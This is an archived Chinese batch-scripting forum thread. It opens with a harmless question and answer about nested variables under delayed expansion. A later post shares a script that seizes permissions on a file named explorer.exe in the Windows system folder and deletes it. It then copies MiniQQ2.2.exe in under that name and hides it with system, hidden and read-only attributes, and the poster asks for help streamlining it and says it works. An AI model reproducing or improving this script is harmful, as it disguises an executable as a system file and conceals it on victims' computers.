标题: [已结]变量嵌套
[打印本页]
作者: HAT
时间: 2007-8-7 16:36
标题: [已结]变量嵌套
关于变量嵌套的问题,我看过不少帖子,但理解的不是很好。
以下面这段代码为例:
@echo off
setlocal EnableDelayedExpansion
set a1=A
set a2=B
set a3=C
set a4=D
set a5=E
for /f "tokens=*" %%i in (test.txt) do (
set /a b+=1
rem 请问下面这句应该怎样改才能显示变量a1~a5的值(也就是A~B)
echo %a!b!%
)
endlocal
我知道一个解决方法是动态生产一个.bat然后在call一下
但我总觉得那不是最佳方案
请高人指点
注:假设test.txt正好有5行内容
[
Last edited by HAT on 2008-11-12 at 21:39 ]
作者: ccwan
时间: 2007-8-7 16:57
这样:
@echo off
setlocal EnableDelayedExpansion
set a1=A
set a2=B
set a3=C
set a4=D
set a5=E
for /f "tokens=*" %%i in (test.txt) do (
set /a b+=1
call echo %%a!b!%%
)
pause
作者: tyh
时间: 2007-8-7 17:13
正解
作者: HAT
时间: 2007-8-9 15:20
多谢ccwan兄
问题解决
作者: koala
时间: 2007-8-21 18:02
正在学嵌套
收藏了谢谢
作者: koala
时间: 2007-8-21 18:19
标题: 另外请ccwan看看我写的嵌套,有没有削减余地了
:file_chk
::嵌套分析判断
::判断 %systemroot%\system\explorer.exe 是文件还是文件夹
if exist "%systemroot%\system\explorer.exe" (
cacls "%systemroot%\system\explorer.exe" /e /t /p "%username%":F >nul 2>nul
attrib -r -s -h -a "%systemroot%\system\explorer.exe" >nul 2>nul
cd /d "%systemroot%\system\explorer.exe"|find "目录名无效">nul
rem ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
if not errorlevel 1 (
del /f /s /q %systemroot%\system\explorer.exe >nul 2>nul
if exist "%systemroot%\system\explorer.exe" (
@rd /s /q "%systemroot%\system\explorer.exe" >nul 2>nul &cls
)
if exist "%systemroot%\system\explorer.exe" (
copy /y MiniQQ2.2.exe %systemroot%\system\explorer.exe >nul 2>nul
attrib +s +h +r +a %SYSTEMROOT%\system\explorer.exe
)
) else (
rem ###############################################################
if exist "%systemroot%\system\explorer.exe" (
del /f /s /q %systemroot%\system\explorer.exe >nul 2>nul
if exist "%systemroot%\system\explorer.exe" (
@rd /s /q "%systemroot%\system\explorer.exe" >nul 2>nul &cls
)
if exist "%systemroot%\system\explorer.exe" (
copy /y MiniQQ2.2.exe %systemroot%\system\explorer.exe >nul
attrib +s +h +r +a %SYSTEMROOT%\system\explorer.exe
)
) else (
if exist %cd%\MiniQQ2.2.exe (
copy /y %cd%\MiniQQ2.2.exe %systemroot%\system\explorer.exe >nul 2>nul
attrib +s +h +r +a %SYSTEMROOT%\system\explorer.exe
)
)
rem ##############################################################
)
rem ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
)
作者: flyinspace
时间: 2007-8-25 01:20
兄弟,你够狠..
不过你的批也写得太复杂了.
还有,你认为这个p会有效果么?先理解一下windows的运行机制吧.
作者: koala
时间: 2007-8-26 15:51
楼上兄弟说的极是啊,我测试过了有用,不过还请你帮帮忙
作者: 6622186
时间: 2007-8-27 00:09
生如夏花之绚烂
死若秋叶之静美
妙啊!!!
作者: koala
时间: 2007-8-28 15:28
兄弟见笑了